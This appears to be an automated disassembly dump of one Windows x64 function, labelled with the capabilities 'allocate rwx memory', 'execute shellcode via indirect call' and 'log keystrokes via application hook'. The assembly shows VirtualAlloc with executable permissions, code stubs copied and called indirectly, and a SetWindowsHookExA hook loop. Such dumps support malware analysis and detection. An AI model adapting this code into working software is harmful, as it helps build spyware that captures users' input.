Function at 0x140003f80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x100
mov rax, qword [0x1400aed60]
xor rax, rsp
mov qword [rbp + 0xf], rax
mov qword [rsp + 0x58], r9
mov r14, r8
mov dword [rsp + 0x30], edx
mov r13, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
lea rax, [rbp + 0x57]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp - 0x71], rcx
mov qword [rbp - 0x69], rax
mov r12, qword [rax]
xor r12, rcx
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x79], r12
movups xmmword [rsp + 0x38], xmm0
lea rax, [rbp + 0x57]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], rcx
xor esi, esi
mov qword [rax], rsi
mov ecx, esi
lea edi, [rsi + 3]
lea r15, [0x140001c80]
lea rbx, [0x140000000]
mov rax, qword [0x1400af5f0]
test rax, rax
je 0x14000404c
mov edx, esi
cmp rax, r15
je 0x14000403b
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0xaf5f0]
test rax, rax
jne 0x140004023
jmp 0x14000404c
mov r8, qword [rbx + rdx*8 + 0xaf910]
test r8, r8
jne 0x14000412f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140004073
mov r8, rsi
jmp 0x14000410e
mov rax, r15
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140004080
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400af5e8]
mov qword [rbx + rax*8 + 0xaf5f0], r15
mov qword [rbx + rax*8 + 0xaf910], r8
inc rax
mov qword [0x1400af5e8], rax
lea rdx, [0x140074e68]
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call r8
mov rbx, rax
lea rax, [rbp + 0x57]
mov qword [rax], rsi
call fcn.140004de0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r13
mov rcx, rax
call fcn.140003ce0
mov rsi, rax
mov qword [rsp + 0x50], rax
mov edx, reloc.WS2_32.dll_WSACleanup
xor ecx, ecx
lea r9d, [rdx - 0x70]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rax
mov qword [rbp - 0x61], rax
movaps xmm0, xmmword [0x140090060]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140090070]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140090080]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140090090]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400900a0]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x1400900b0]
movsd qword [rax + 0x50], xmm1
mov eax, dword [0x1400900b8]
mov dword [rcx + 0x58], eax
lea r15, [rsi + 0x5c]
mov ecx, dword [reloc.WS2_32.dll_getsockname]
mov rax, qword [rbp - 0x61]
mov qword [rcx + rax], r15
mov rsi, qword [rbp - 0x61]
add rsi, 0x5c
mov qword [rsi + 0x10], r14
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
add rax, r14
mov qword [rsi + 8], rax
call fcn.140004de0
mov dword [rsp + 0x20], reloc.WS2_32.dll_WSACleanup
mov r9, qword [rbp - 0x61]
mov r14, qword [rsp + 0x50]
mov r8, r14
mov rdx, r13
mov rcx, rax
call fcn.1400078a0
mov r9d, dword [rsp + 0x30]
mov r8, rbx
mov rdx, r14
mov ecx, 7
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [rbp - 0x59], rax
cmp dword [rsi], 2
je 0x140004304
mov ecx, dword [0x1400b11f4]
mov rax, qword gs:[0x58]
mov edx, 4
mov r14, qword [rax + rcx*8]
add r14, rdx
lea r12, [rbp + 0x57]
nop dword [rax + rax]
mov rbx, qword [r12]
mov qword [r12], 0
mov eax, dword [r14]
cmp dword [0x1400af2c4], eax
jg 0x140004659
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r12
mov rax, rbx
xor rax, rcx
mov qword [rsp + 0x38], rax
mov qword [r12], 0
mov dword [rbp - 0x51], edi
mov dword [rbp - 0x31], r13d
mov qword [rbp - 0x41], r15
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x39], Ordinal_27
lea rdx, [rbp - 0x51]
lea rcx, [0x1400af2c0]
call fcn.140006e80
nop
mov qword [r12], rbx
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi], 2
jne 0x140004270
mov r12, qword [rsp + 0x60]
mov r14, qword [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rcx, [rbp + 0x57]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rsp + 0x38], rbx
xor r15d, r15d
mov qword [rcx], r15
mov ecx, r15d
lea r8, [0x140001c10]
mov rax, qword [0x1400afc40]
lea rsi, [0x140000000]
test rax, rax
je 0x14000437e
mov edx, r15d
cmp rax, r8
je 0x14000436d
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0xafc40]
test rax, rax
jne 0x140004355
jmp 0x14000437e
mov r8, qword [rsi + rdx*8 + 0xaff60]
test r8, r8
jne 0x14000446f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x140001c10]
test rax, rax
jne 0x1400043ac
mov r8, r15
jmp 0x14000444e
mov rax, r9
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400043c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400afc30]
mov qword [rsi + rax*8 + 0xafc40], r9
mov qword [rsi + rax*8 + 0xaff60], r8
inc rax
mov qword [0x1400afc30], rax
lea rdx, [rbp - 0x59]
mov rcx, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x57]
mov qword [rax], rbx
call fcn.140004de0
mov r8, r14
mov rdx, r13
mov rcx, rax
call fcn.140005020
mov dword [rsp + 0x30], 0x8000
mov dword [rsp + 0x50], r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rcx, [rbp + 0x57]
movabs rbx, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rax, qword [rcx]
xor rax, rbx
mov qword [rsp + 0x38], rax
mov qword [rcx], r15
mov ecx, r15d
lea r14, [0x140001c40]
mov rax, qword [0x1400b0290]
test rax, rax
je 0x140004529
mov rdx, r15
nop dword [rax]
cmp rax, r14
je 0x140004518
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0xb0290]
test rax, rax
jne 0x140004500
jmp 0x140004529
mov r10, qword [rsi + rdx*8 + 0xb05b0]
test r10, r10
jne 0x14000460f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140004550
mov r10, r15
jmp 0x1400045ee
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x140004560
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x1400b0280]
mov qword [rsi + rax*8 + 0xb0290], r14
mov qword [rsi + rax*8 + 0xb05b0], r10
inc rax
mov qword [0x1400b0280], rax
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x61]
mov rcx, qword [sym.imp.KERNEL32.dll_VirtualFree]
call r10
nop
xor r12, rbx
lea rax, [rbp + 0x57]
mov qword [rax], r12
mov rcx, qword [rbp + 0xf]
xor rcx, rsp
call fcn.140070f50
mov rbx, qword [rsp + 0x150]
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x1400af2c4]
call fcn.140070cdc
cmp dword [0x1400af2c4], 0xffffffff
jne 0x14000428b
lea rcx, [0x140072fa0]
call fcn.140070c58
lea rcx, [0x1400af2c4]
call fcn.140070c70
jmp 0x14000428b